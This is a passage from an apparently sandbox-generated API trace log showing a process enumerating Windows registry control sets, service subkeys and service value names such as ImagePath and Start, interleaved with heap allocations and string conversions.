lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0227.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.197] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0227.197] RegCloseKey (hKey=0xc4) returned 0x0 [0227.197] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.197] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.197] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.197] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0227.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.198] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.198] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0227.198] RegCloseKey (hKey=0x150) returned 0x0 [0227.198] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.198] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.198] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0227.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.199] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.199] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.199] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.199] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0227.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.200] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0227.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0227.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.200] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0227.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0227.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0227.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0227.201] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, 